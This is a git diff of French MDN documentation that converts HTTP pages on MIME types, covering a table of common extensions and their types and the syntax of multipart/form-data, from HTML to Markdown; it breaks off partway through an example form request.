+- [Vue d'ensemble de HTTP](/fr/docs/Web/HTTP/Overview) + - : Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles. +- [Évolution de HTTP](/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées. +- **Négocier une version HTTP** + - : Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole. +- [Ressources et URIs](/fr/docs/Web/HTTP/Resources_and_URIs) + - : Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web. +- [Identifier des ressources sur le web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) + - : Décrit comment les ressources web sont référencées et comment les localiser. +- [URIs de données](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) + - : Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde. +- URLs de ressources + - : Les URLs de ressources, qui sont préfixées par le schéma `resource:` sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte. +- Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service) + - : La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}. +- [Types MIME](/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types) + - : Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME. +- [Choisir entre des URL de type www ou non](/fr/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs) + - : Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix. +- Flux d'une session HTTP + - : Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ... +- [Messages HTTP](/fr/docs/Web/HTTP/Messages) + - : Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre. +- Trame et structure de message en HTTP/2 + - : HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée. +- [Gestion des connexions en HTTP/1.x](/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts. +- Gestion des connexions en HTTP/2 + - : HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions. +- [Négociation du contenu](/fr/docs/Web/HTTP/Content_negotiation) + - : HTTP introduit une série d'en-têtes commençant par `Accept-` permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible. diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.md b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md index 0fd192adb2..aaf9094df5 100644 --- a/files/fr/web/http/basics_of_http/mime_types/common_types/index.md +++ b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md @@ -9,348 +9,79 @@ tags: - Video translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Voici une liste de types MIME, associés par type et ordonnée par extension.

+Voici une liste de types MIME, associés par type et ordonnée par extension. -

Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :

+Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut : -
    -
  • text/plain est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires.
    • -
  • application/octet-stream est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité.
    • -
+- `text/plain` est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires. +- `application/octet-stream` est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité. -

L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : https://www.iana.org/assignments/media-types/media-types.xhtml. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, elle n'est donc pas exhaustive :

+L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : . La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, **elle n'est donc pas exhaustive :** - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ExtensionType de documentType MIME
.aacfichier audio AACaudio/aac
.abwdocument AbiWordapplication/x-abiword
.arcarchive (contenant plusieurs fichiers)application/octet-stream
.aviAVI : Audio Video Interleavevideo/x-msvideo
.azwformat pour eBook Amazon Kindleapplication/vnd.amazon.ebook
.binn'importe quelle donnée binaireapplication/octet-stream
.bmpImages bitmap Windows OS/2image/bmp
.bzarchive BZipapplication/x-bzip
.bz2archive BZip2application/x-bzip2
.cshscript C-Shellapplication/x-csh
.cssfichier Cascading Style Sheets (CSS)text/css
.csvfichier Comma-separated values (CSV)text/csv
.docMicrosoft Wordapplication/msword
.docxMicrosoft Word (OpenXML)application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eotpolice MS Embedded OpenTypeapplication/vnd.ms-fontobject
.epubfichier Electronic publication (EPUB)application/epub+zip
.giffichier Graphics Interchange Format (GIF)image/gif
.htm
- .html		fichier HyperText Markup Language (HTML)text/html
.icoicôneimage/x-icon
.icsélément iCalendartext/calendar
.jararchive Java (JAR)application/java-archive
.jpeg
- .jpg		image JPEGimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsondonnée au format JSONapplication/json
.mid
- .midi		fichier audio Musical Instrument Digital Interface (MIDI)audio/midi
.mpegvidéo MPEGvideo/mpeg
.mpkgpaquet Apple Installerapplication/vnd.apple.installer+xml
.odpprésentation OpenDocumentapplication/vnd.oasis.opendocument.presentation
.odsfeuille de calcul OpenDocumentapplication/vnd.oasis.opendocument.spreadsheet
.odtdocument texte OpenDocumentapplication/vnd.oasis.opendocument.text
.ogafichier audio OGGaudio/ogg
.ogvfichier vidéo OGGvideo/ogg
.ogxOGGapplication/ogg
.otfpolice OpenTypefont/otf
.pngfichier Portable Network Graphicsimage/png
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptprésentation Microsoft PowerPointapplication/vnd.ms-powerpoint
.pptxprésentation Microsoft PowerPoint (OpenXML)application/vnd.openxmlformats-officedocument.presentationml.presentation
.rararchive RARapplication/x-rar-compressed
.rtfRich Text Format (RTF)application/rtf
.shscript shellapplication/x-sh
.svgfichier Scalable Vector Graphics (SVG)image/svg+xml
.swffichier Small web format (SWF) ou Adobe Flashapplication/x-shockwave-flash
.tarfichier d'archive Tape Archive (TAR)application/x-tar
.tif
- .tiff		image au format Tagged Image File Format (TIFF)image/tiff
.tsfichier Typescriptapplication/typescript
.ttfpolice TrueTypefont/ttf
.vsdMicrosoft Visioapplication/vnd.visio
.wavWaveform Audio Formataudio/x-wav
.webafichier audio WEBMaudio/webm
.webmfichier vidéo WEBMvideo/webm
.webpimage WEBPimage/webp
.woffpolice Web Open Font Format (WOFF)font/woff
.woff2police Web Open Font Format (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xlsxMicrosoft Excel (OpenXML)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.ziparchive ZIPapplication/zip
.3gpconteneur audio/vidéo 3GPPvideo/3gpp
- audio/3gpp dans le cas où le conteneur ne comprend pas de vidéo
.3g2conteneur audio/vidéo 3GPP2video/3gpp2
- audio/3gpp2 dans le cas où le conteneur ne comprend pas de vidéo
.7zarchive 7-zipapplication/x-7z-compressed
+| Extension | Type de document | Type MIME | +| -------------- | ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | +| `.aac` | fichier audio AAC | `audio/aac` | +| `.abw` | document [AbiWord](https://fr.wikipedia.org/wiki/AbiWord) | `application/x-abiword` | +| `.arc` | archive (contenant plusieurs fichiers) | `application/octet-stream` | +| `.avi` | AVI : Audio Video Interleave | `video/x-msvideo` | +| `.azw` | format pour eBook Amazon Kindle | `application/vnd.amazon.ebook` | +| `.bin` | n'importe quelle donnée binaire | `application/octet-stream` | +| `.bmp` | Images bitmap Windows OS/2 | `image/bmp` | +| `.bz` | archive BZip | `application/x-bzip` | +| `.bz2` | archive BZip2 | `application/x-bzip2` | +| `.csh` | script C-Shell | `application/x-csh` | +| `.css` | fichier Cascading Style Sheets (CSS) | `text/css` | +| `.csv` | fichier Comma-separated values (CSV) | `text/csv` | +| `.doc` | Microsoft Word | `application/msword` | +| `.docx` | Microsoft Word (OpenXML) | `application/vnd.openxmlformats-officedocument.wordprocessingml.document` | +| `.eot` | police MS Embedded OpenType | `application/vnd.ms-fontobject` | +| `.epub` | fichier Electronic publication (EPUB) | `application/epub+zip` | +| `.gif` | fichier Graphics Interchange Format (GIF) | `image/gif` | +| `.htm .html` | fichier HyperText Markup Language (HTML) | `text/html` | +| `.ico` | icône | `image/x-icon` | +| `.ics` | élément iCalendar | `text/calendar` | +| `.jar` | archive Java (JAR) | `application/java-archive` | +| `.jpeg` `.jpg` | image JPEG | `image/jpeg` | +| `.js` | JavaScript (ECMAScript) | `application/javascript` | +| `.json` | donnée au format JSON | `application/json` | +| `.mid` `.midi` | fichier audio Musical Instrument Digital Interface (MIDI) | `audio/midi` | +| `.mpeg` | vidéo MPEG | `video/mpeg` | +| `.mpkg` | paquet Apple Installer | `application/vnd.apple.installer+xml` | +| `.odp` | présentation OpenDocument | `application/vnd.oasis.opendocument.presentation` | +| `.ods` | feuille de calcul OpenDocument | `application/vnd.oasis.opendocument.spreadsheet` | +| `.odt` | document texte OpenDocument | `application/vnd.oasis.opendocument.text` | +| `.oga` | fichier audio OGG | `audio/ogg` | +| `.ogv` | fichier vidéo OGG | `video/ogg` | +| `.ogx` | OGG | `application/ogg` | +| `.otf` | police OpenType | `font/otf` | +| `.png` | fichier Portable Network Graphics | `image/png` | +| `.pdf` | Adobe Portable Document Format (PDF) | `application/pdf` | +| `.ppt` | présentation Microsoft PowerPoint | `application/vnd.ms-powerpoint` | +| `.pptx` | présentation Microsoft PowerPoint (OpenXML) | `application/vnd.openxmlformats-officedocument.presentationml.presentation` | +| `.rar` | archive RAR | `application/x-rar-compressed` | +| `.rtf` | Rich Text Format (RTF) | `application/rtf` | +| `.sh` | script shell | `application/x-sh` | +| `.svg` | fichier Scalable Vector Graphics (SVG) | `image/svg+xml` | +| `.swf` | fichier [Small web format](https://fr.wikipedia.org/wiki/Small_Web_Format) (SWF) ou Adobe Flash | `application/x-shockwave-flash` | +| `.tar` | fichier d'archive Tape Archive (TAR) | `application/x-tar` | +| `.tif .tiff` | image au format Tagged Image File Format (TIFF) | `image/tiff` | +| `.ts` | fichier Typescript | `application/typescript` | +| `.ttf` | police TrueType | `font/ttf` | +| `.vsd` | Microsoft Visio | `application/vnd.visio` | +| `.wav` | Waveform Audio Format | `audio/x-wav` | +| `.weba` | fichier audio WEBM | `audio/webm` | +| `.webm` | fichier vidéo WEBM | `video/webm` | +| `.webp` | image WEBP | `image/webp` | +| `.woff` | police Web Open Font Format (WOFF) | `font/woff` | +| `.woff2` | police Web Open Font Format (WOFF) | `font/woff2` | +| `.xhtml` | XHTML | `application/xhtml+xml` | +| `.xls` | Microsoft Excel | `application/vnd.ms-excel` | +| `.xlsx` | Microsoft Excel (OpenXML) | `application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` | +| `.xml` | `XML` | `application/xml` | +| `.xul` | XUL | `application/vnd.mozilla.xul+xml` | +| `.zip` | archive ZIP | `application/zip` | +| `.3gp` | conteneur audio/vidéo [3GPP](https://fr.wikipedia.org/wiki/3GP) | `video/3gpp` `audio/3gpp` dans le cas où le conteneur ne comprend pas de vidéo | +| `.3g2` | conteneur audio/vidéo [3GPP2](https://fr.wikipedia.org/wiki/3GP) | `video/3gpp2` `audio/3gpp2` dans le cas où le conteneur ne comprend pas de vidéo | +| `.7z` | archive [7-zip](https://fr.wikipedia.org/wiki/7-Zip) | `application/x-7z-compressed` | diff --git a/files/fr/web/http/basics_of_http/mime_types/index.md b/files/fr/web/http/basics_of_http/mime_types/index.md index 7669f3e3c9..68fc3c23e8 100644 --- a/files/fr/web/http/basics_of_http/mime_types/index.md +++ b/files/fr/web/http/basics_of_http/mime_types/index.md @@ -8,311 +8,264 @@ tags: - Types MIME translation_of: Web/HTTP/Basics_of_HTTP/MIME_types --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Le type Multipurpose Internet Mail Extensions (type MIME) est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la RFC 6838. L'Internet Assigned Numbers Authority (IANA) est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la page Media Types de l'IANA.

+Le **type Multipurpose Internet Mail Extensions (type MIME)** est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la [RFC 6838](https://tools.ietf.org/html/rfc6838). L'[Internet Assigned Numbers Authority (IANA)](https://www.iana.org/) est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la [page Media Types de l'IANA](https://www.iana.org/assignments/media-types/media-types.xhtml). -

Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.

+Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient. -

Syntaxe

+## Syntaxe -

Structure générale

+### Structure générale -
type/sous-type
+ type/sous-type -

La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un '/'. Les caractères d'espacement ne sont pas autorisés. Le type représente la catégorie et peut être particulier ou composé lorsqu'il regroupe plusieurs formats. Le sous-type est spécifique à chaque type.

+La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un `'/'`. Les caractères d'espacement ne sont pas autorisés. Le _type_ représente la catégorie et peut être _particulier_ ou _composé_ lorsqu'il regroupe plusieurs formats. Le _sous-type_ est spécifique à chaque type. -

Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.

+Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule. -

Types particuliers

+### Types particuliers -
text/plain
-text/html
-image/jpeg
-image/png
-audio/mpeg
-audio/ogg
-audio/*
-video/mp4
-application/octet-stream
-…
+ text/plain + text/html + image/jpeg + image/png + audio/mpeg + audio/ogg + audio/* + video/mp4 + application/octet-stream + … -

Les types particuliers indiquent la catégorie d'un document. Les valeurs possibles sont :

+Les types _particuliers_ indiquent la catégorie d'un document. Les valeurs possibles sont : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TypeDescriptionExemple de sous-type communément associé
textReprésente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.text/plain, text/html, text/css, text/javascript
imageReprésente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioReprésente n'importe quel fichier audio.audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoReprésente n'importe quel fichier vidéo.video/webm, video/ogg
applicationReprésente n'importe quelle donnée binaire.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
+| Type | Description | Exemple de sous-type communément associé | +| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | +| `text` | Représente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur. | `text/plain`, `text/html`, `text/css, text/javascript` | +| `image` | Représente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type. | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp` | +| `audio` | Représente n'importe quel fichier audio. | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav` | +| `video` | Représente n'importe quel fichier vidéo. | `video/webm`, `video/ogg` | +| `application` | Représente n'importe quelle donnée binaire. | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` | -

text/plain doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser application/octet-stream.

+`text/plain` doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser `application/octet-stream`. -

Types composés ou multipart

+### Types composés ou _multipart_ -
multipart/form-data
-multipart/byteranges
+ multipart/form-data + multipart/byteranges -

Les types composés, aussi appelés types multipart indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de multipart/form-data, utilisé en association avec des formulaires HTML et la méthode {{HTTPMethod("POST")}} et de multipart/byteranges, utilisé avec le statut HTTP {{HTTPStatus("206")}} Partial Content renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.

+Les types composés, aussi appelés types _multipart_ indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de `multipart/form-data`, utilisé en association avec des [formulaires HTML](/fr/docs/Web/Guide/HTML/Forms) et la méthode {{HTTPMethod("POST")}} et de `multipart/byteranges`, utilisé avec le statut HTTP {{HTTPStatus("206")}} `Partial Content` renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet. -

Types MIME utiles pour les développeurs web

+## Types MIME utiles pour les développeurs web -

application/octet-stream

+### `application/octet-stream` -

Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie fichier binaire inconnu il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur attachment et proposera une invite "Enregistrer sous".

+Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie _fichier binaire inconnu_ il est probable que les navigateurs ne l'exécutent pas automatiquement et que l'utilisateur ne puisse pas l'exécuter directement dans le navigateur. Le comportement sera alors le même que si l'en-tête {{HTTPHeader("Content-Disposition")}} était présente avec la valeur `attachment` et proposera une invite "Enregistrer sous". -

text/plain

+### `text/plain` -

Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher.

+Il s'agit de la valeur par défaut pour les fichiers texte. Bien qu'il signifie fichier texte de format inconnu, les navigateurs prendront pour hypothèse qu'ils peuvent l'afficher. -
-

Note : Il est important de noter que text/plain ne signifie pas tous les formats de fichiers textuels. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type text/plain ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier text/plain à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant text/css.

-
+> **Note :** Il est important de noter que `text/plain` ne signifie pas _tous les formats de fichiers textuels_. Si le client s'attend à recevoir un format particulier de données textuelles, il est vraisemblable que le type `text/plain` ne soit pas considéré comme valide à la réception. Par exemple, si le client télécharge un fichier `text/plain` à partir d'un {{HTMLElement("link")}} déclarant des fichiers CSS, ce dernier ne sera pas considéré comme un CSS, le type MIME à utiliser étant `text/css`. -

text/css

+### `text/css` -

N'importe quel fichier CSS qui doit être interprété comme pour servir une page web doit être de type text/css. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension .css comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME text/plain ou application/octet-stream. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié.

+N'importe quel fichier CSS qui doit être interprété comme pour servir une page web **doit** être de type `text/css`. Bien souvent, les serveurs ne sont pas en mesure de reconnaître les fichiers ayant l'extension `.css` comme étant des fichiers CSS, ces derniers sont donc transmis avec le type MIME `text/plain` ou `application/octet-stream`. Dès lors, les navigateurs ne les considèreront pas comme des fichiers CSS et ils seront ignorés. Il est donc important de servir les fichiers CSS à l'aide du type approprié. -

text/html

+### `text/html` -

L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme application/xml+html) ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats).

+L'ensemble du contenu HTML doit être renvoyé à l'aide de ce type. Les types MIME pour XHTML (comme `application/xml+html)` ne sont actuellement plus utilisés (HTML5 ayant unifié ces formats). -

Formats d'images

+### Formats d'images -

Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web :

+Seuls quelques types MIME associés à des images sont largement reconnus et considérés comme pouvant être utilisé sans risque sur le Web, on peut donc directement les intégrer dans une page web : - - - - - - - - - - - - - - - - - - - - - - - - - -
Type MIMEFormat d'image
image/gifimages GIF (compression sans perte, remplacé par PNG)
image/jpegimages JPEG
image/pngimages PNG
image/svg+xmlimages SVG (images vectorielles)
+| Type MIME | Format d'image | +| --------------- | ----------------------------------------------------- | +| `image/gif` | images GIF (compression sans perte, remplacé par PNG) | +| `image/jpeg` | images JPEG | +| `image/png` | images PNG | +| `image/svg+xml` | images SVG (images vectorielles) | -

Il y a un débat quant à l'ajout de WebP (image/webp) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer.

+Il y a un débat quant à l'ajout de WebP (`image/webp`) à cette liste. En effet l'ajout d'un nouveau format mènerait à une augmentation du nombre de cas à gérer et pourrait introduire des problématiques de sécurité, pour ces raisons les constructeurs de navigateurs font preuve de précaution avant de l'intégrer. -

D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME image/x-icon.

+D'autres formats d'images peuvent constituer un document web. Par exemple, la plupart des navigateurs web supportent les types des images favicon, le format ICO étant pris en charge à l'aide du type MIME `image/x-icon`. -

Formats audios et vidéos

+### Formats audios et vidéos -

Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page Formats pris en charge par les balises audio et video détaille les codecs et les formats qui peuvent être employés.

+Comme pour les images, HTML ne définit pas de liste de formats supportés pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Dès lors, seul un ensemble restreint de formats est en mesure d'être utilisé sur le Web. La page [Formats pris en charge par les balises audio et video](/fr/docs/Web/HTML/Supported_media_formats) détaille les codecs et les formats qui peuvent être employés. -

Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont :

+Le format MIME de ces fichiers représente généralement le format du conteneur contenant le fichier. Dans le cas du Web, les formats les plus courants sont : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type MIMEFormat audio et vidéo
audio/wave
- audio/wav
- audio/x-wav
- audio/x-pn-wav		Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent pris en charge tandis que les autres codecs offrent une prise en charge moindre (lorsqu'elle existe).
audio/webmUn fichier audio WebM. Les codecs les plus fréquemment associés sont Vorbis et Opus.
video/webmUn fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.
audio/oggUn fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.
video/oggUn fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.
-

application/ogg

- 		-

Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.

-
Type MIMEFormat audio et vidéo
+ audio/wave
audio/wav
audio/x-wav
audio/x-pn-wav + 		+ Un fichier audio WAVE. Le codec audio PCM (WAVE codec "1") est souvent + pris en charge tandis que les autres codecs offrent une prise en charge + moindre (lorsqu'elle existe). +
audio/webm + Un fichier audio WebM. Les codecs les plus fréquemment associés sont + Vorbis et Opus. +
video/webm + Un fichier vidéo, pouvant contenir de l'audio, au format WebM. Les + codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and + Opus constituent les codecs audios les plus fréquents. +
audio/ogg + Un fichier audio au format OGG. Vorbis est le codec audio le plus + utilisé pour traiter ce genre de format conteneur. +
video/ogg + Un fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est + le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est + utilisé pour l'audio. +
+

application/ogg

+ 		+

+ Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent + respectivement les codecs vidéo et audio souvent utilisés. +

+
-

multipart/form-data

+### `multipart/form-data` + +Le type `multipart/form-data` peut être utilisé lors de l'envoi du contenu d'un [formulaire HTML](/fr/docs/Web/Guide/HTML/Forms) du navigateur vers le serveur. En tant que document composé ou _multipart_ il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double `'--'`). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière. + + Content-Type: multipart/form-data; boundary=aChaineDeDélimitation + (en-têtes divers associés à l'ensemble du document) + + --aChaineDeDélimitation + Content-Disposition: form-data; name="monFichier"; filename="img.jpg" + Content-Type: image/jpeg -

Le type multipart/form-data peut être utilisé lors de l'envoi du contenu d'un formulaire HTML du navigateur vers le serveur. En tant que document composé ou multipart il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double '--'). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.

+ (données) + --aChaineDeDélimitation + Content-Disposition: form-data; name="monChamp" -
Content-Type: multipart/form-data; boundary=aChaineDeDélimitation
-(en-têtes divers associés à l'ensemble du document)
+    (données)
+    --aChaineDeDélimitation
+    (éléments additionnels)
+    --aChaineDeDélimitation--
 
---aChaineDeDélimitation
-Content-Disposition: form-data; name="monFichier"; filename="img.jpg"
-Content-Type: image/jpeg
+Le formulaire suivant :
 
-(données)
---aChaineDeDélimitation
-Content-Disposition: form-data; name="monChamp"
+```html
+

+  
+  Check
+  
+  
+

+```
 
-(données)
---aChaineDeDélimitation
-(éléments additionnels)
---aChaineDeDélimitation--
+enverra le message suivant :
 
-
+ POST / HTTP/1.1 + Host: localhost:8000 + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Connection: keep-alive + Upgrade-Insecure-Requests: 1 + Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 + Content-Length: 465 -

Le formulaire suivant :

+ -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="monChampTexte" -
